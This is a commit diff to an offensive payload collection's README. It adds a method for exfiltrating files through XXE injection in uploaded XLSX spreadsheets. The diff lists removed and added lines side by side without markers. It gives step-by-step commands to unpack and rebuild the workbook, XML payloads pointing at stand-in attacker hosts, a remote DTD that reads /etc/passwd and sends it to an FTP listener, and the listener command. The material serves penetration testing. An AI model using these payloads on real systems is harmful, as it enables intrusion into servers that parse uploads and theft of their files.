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XXE: OOB via FTP + remote DTD for XSLX files

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better than the HTTP method, must robust approach, easier zip repackaging
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Alexandre ZANNI 2021-10-17 18:00:00 +02:00 committed by GitHub
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XXE Injection/README.md
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@ -503,60 +503,84 @@ GIF (experimental)
### XXE inside XLSX file
Structure of the XLSX:
```
$ 7z l xxe.xlsx
7-Zip [64] 17.04 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28
p7zip Version 17.04 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs x64)
Scanning the drive for archives:
1 file, 4758 bytes (5 KiB)
Listing archive: xxe.xlsx
--
Path = xxe.xlsx
Type = zip
Physical Size = 4758
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2021-10-17 15:19:00 ..... 578 223 _rels/.rels
2021-10-17 15:19:00 ..... 887 508 xl/workbook.xml
2021-10-17 15:19:00 ..... 4451 643 xl/styles.xml
2021-10-17 15:19:00 ..... 2042 899 xl/worksheets/sheet1.xml
2021-10-17 15:19:00 ..... 549 210 xl/_rels/workbook.xml.rels
2021-10-17 15:19:00 ..... 201 160 xl/sharedStrings.xml
2021-10-17 15:19:00 ..... 731 352 docProps/core.xml
2021-10-17 15:19:00 ..... 410 246 docProps/app.xml
2021-10-17 15:19:00 ..... 1367 345 [Content_Types].xml
------------------- ----- ------------ ------------ ------------------------
2021-10-17 15:19:00 11216 3586 9 files
```
Extract the excel file.
```
$ mkdir XXE && cd XXE
$ unzip ../XXE.xlsx
Archive: ../XXE.xlsx
inflating: xl/drawings/drawing1.xml
inflating: xl/worksheets/sheet1.xml
inflating: xl/worksheets/_rels/sheet1.xml.rels
inflating: xl/sharedStrings.xml
inflating: xl/styles.xml
inflating: xl/workbook.xml
inflating: xl/_rels/workbook.xml.rels
inflating: _rels/.rels
inflating: [Content_Types].xml
$ 7z x -oXXE xxe.xlsx
```
Add your blind XXE payload inside `xl/workbook.xml`.
```xml
<xml...>
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://YOURCOLLABORATORID.burpcollaborator.net/"> ]>
<x>&xxe;</x>
<workbook...>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE cdl [<!ELEMENT cdl ANY ><!ENTITY % asd SYSTEM "http://x.x.x.x:8000/xxe.dtd">%asd;%c;]>
<cdl>&rrr;</cdl>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
```
Alternativly, add your payload in `xl/sharedStrings.xml`:
```xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [ <!ELEMENT t ANY > <!ENTITY xxe SYSTEM "http://YOURCOLLABORATORID.burpcollaborator.net/"> ]>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="10" uniqueCount="10"><si><t>&xxe;</t></si><si><t>testA2</t></si><si><t>testA3</t></si><si><t>testA4</t></si><si><t>testA5</t></si><si><t>testB1</t></si><si><t>testB2</t></si><si><t>testB3</t></si><si><t>testB4</t></si><si><t>testB5</t></si></sst>
<!DOCTYPE cdl [<!ELEMENT t ANY ><!ENTITY % asd SYSTEM "http://x.x.x.x:8000/xxe.dtd">%asd;%c;]>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="10" uniqueCount="10"><si><t>&rrr;</t></si><si><t>testA2</t></si><si><t>testA3</t></si><si><t>testA4</t></si><si><t>testA5</t></si><si><t>testB1</t></si><si><t>testB2</t></si><si><t>testB3</t></si><si><t>testB4</t></si><si><t>testB5</t></si></sst>
```
Rebuild the Excel file.
```
$ zip -r ../poc.xlsx *
updating: [Content_Types].xml (deflated 71%)
updating: _rels/ (stored 0%)
updating: _rels/.rels (deflated 60%)
updating: docProps/ (stored 0%)
updating: docProps/app.xml (deflated 51%)
updating: docProps/core.xml (deflated 50%)
updating: xl/ (stored 0%)
updating: xl/workbook.xml (deflated 56%)
updating: xl/worksheets/ (stored 0%)
updating: xl/worksheets/sheet1.xml (deflated 53%)
updating: xl/styles.xml (deflated 60%)
updating: xl/theme/ (stored 0%)
updating: xl/theme/theme1.xml (deflated 80%)
updating: xl/_rels/ (stored 0%)
updating: xl/_rels/workbook.xml.rels (deflated 66%)
updating: xl/sharedStrings.xml (deflated 17%)
$ cd XXE
$ 7z u ../xxe.xlsx *
```
Using a remote DTD will save us the time to rebuild a document each time we want to retrieve a different file.
Instead we build the document once and then change the DTD.
And using FTP instead of HTTP allows to retrieve much larger files.
`xxe.dtd`
```xml
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">
```
Start the FTP + HTTP server:
```
$ xxeserv -o files.log -p 2121 -w -wd public -wp 8000
```
### XXE inside DTD file